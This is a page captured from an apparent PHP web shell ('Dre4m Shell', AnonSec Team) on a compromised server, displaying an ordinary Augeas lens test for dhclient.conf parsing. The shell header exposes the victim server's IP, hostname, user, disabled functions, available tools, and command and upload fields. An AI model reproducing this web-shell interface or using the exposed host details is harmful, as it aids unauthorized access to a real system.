Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.221.160.29
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/proc/3/task/3/root/usr/share/augeas/lenses/dist/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/proc/3/task/3/root/usr/share/augeas/lenses/dist/tests/test_dhclient.aug
module Test_dhclient =

    let conf ="  # Sample dhclient.conf
    # Protocol timing
timeout 3; # Expect a fast server
retry
      10;
# Lease requirements and requests
request
	subnet-mask,
  broadcast-address,
	ntp-servers;
# Dynamic DNS
send
	fqdn.fqdn
	  \"grosse.fugue.com.\";

option rfc3442-classless-static-routes code 121 = array of unsigned integer 8;

interface ep0 {
   script /sbin/dhclient-script;
   send dhcp-client-identifier 1:0:a0:24:ab:fb:9c;
   send dhcp-lease-time 3600;
   request subnet-mask, broadcast-address, time-offset, routers,
          domain-name, domain-name-servers, host-name;
   media media10baseT/UTP, \"media10base2/BNC\";
}

alias {
  interface \"ep0\";
  fixed-address 192.5.5.213;
  option subnet-mask 255.255.255.255;
}

lease {
  interface \"eth0\";
  fixed-address 192.33.137.200;
  medium \"link0 link1\";
  vendor option space \"name\";
  option host-name \"andare.swiftmedia.com\";
  option subnet-mask 255.255.255.0;
  option broadcast-address 192.33.137.255;
  option routers 192.33.137.250;
  option domain-name-servers 127.0.0.1;
  renew 2 2000/1/12 00:00:01;
  rebind 2 2000/1/12 00:00:01;
  expire 2 2000/1/12 00:00:01;
}
"

    test Dhclient.lns get conf =
        { "#comment" = "Sample dhclient.conf" }
        { "#comment" = "Protocol timing" }
        { "timeout" = "3"
           { "#comment" = "Expect a fast server" } }
        { "retry" = "10" }
        { "#comment" = "Lease requirements and requests" }
        { "request"
           { "1" = "subnet-mask" }
           { "2" = "broadcast-address" }
           { "3" = "ntp-servers" } }
        { "#comment" = "Dynamic DNS" }
        { "send"
           { "fqdn.fqdn" = "\"grosse.fugue.com.\"" } }
        {}
        { "option"
           { "rfc3442-classless-static-routes"
               { "code"  = "121" }
               { "value" = "array of unsigned integer 8" } } }
        {}
        { "interface" = "ep0"
           { "script" = "/sbin/dhclient-script" }
           { "send"
               { "dhcp-client-identifier" = "1:0:a0:24:ab:fb:9c" } }
           { "send"
               { "dhcp-lease-time" = "3600" } }
           { "request"
               { "1" = "subnet-mask" }
               { "2" = "broadcast-address" }
               { "3" = "time-offset" }
               { "4" = "routers" }
               { "5" = "domain-name" }
               { "6" = "domain-name-servers" }
               { "7" = "host-name" } }
           { "media"
               { "1" = "media10baseT/UTP" }
               { "2" = "\"media10base2/BNC\"" } } }
        {}
        { "alias"
           { "interface" = "\"ep0\"" }
           { "fixed-address" = "192.5.5.213" }
           { "option"
               { "subnet-mask" = "255.255.255.255" } } }
        {}
        { "lease"
           { "interface" = "\"eth0\"" }
           { "fixed-address" = "192.33.137.200" }
           { "medium" = "\"link0 link1\"" }
           { "vendor option space" = "\"name\"" }
           { "option"
               { "host-name" = "\"andare.swiftmedia.com\"" } }
           { "option"
               { "subnet-mask" = "255.255.255.0" } }
           { "option"
               { "broadcast-address" = "192.33.137.255" } }
           { "option"
               { "routers" = "192.33.137.250" } }
           { "option"
               { "domain-name-servers" = "127.0.0.1" } }
           { "renew"
               { "weekday" = "2" }
               { "year"    = "2000" }
               { "month"   = "1" }
               { "day"     = "12" }
               { "hour"    = "00" }
               { "minute"  = "00" }
               { "second"  = "01" } }
           { "rebind"
               { "weekday" = "2" }
               { "year"    = "2000" }
               { "month"   = "1" }
               { "day"     = "12" }
               { "hour"    = "00" }
               { "minute"  = "00" }
               { "second"  = "01" } }
           { "expire"
               { "weekday" = "2" }
               { "year"    = "2000" }
               { "month"   = "1" }
               { "day"     = "12" }
               { "hour"    = "00" }
               { "minute"  = "00" }
               { "second"  = "01" } } }


test Dhclient.lns get "append domain-name-servers 127.0.0.1;\n" =
    { "append"
        { "domain-name-servers" = "127.0.0.1" } }

test Dhclient.lns put "" after set "/prepend/domain-name-servers" "127.0.0.1" =
    "prepend domain-name-servers 127.0.0.1;\n"

(* When = is used before the value, it's an evaluated string, see dhcp-eval *)
test Dhclient.lns get "send dhcp-client-identifier = hardware;\n" =
  { "send"
    { "dhcp-client-identifier"
      { "#eval" = "hardware" } } }

test Dhclient.lns put "send host-name = gethostname();\n"
  after set "/send/host-name/#eval" "test" = "send host-name = test;\n"

Anon7 - 2022
AnonSec Team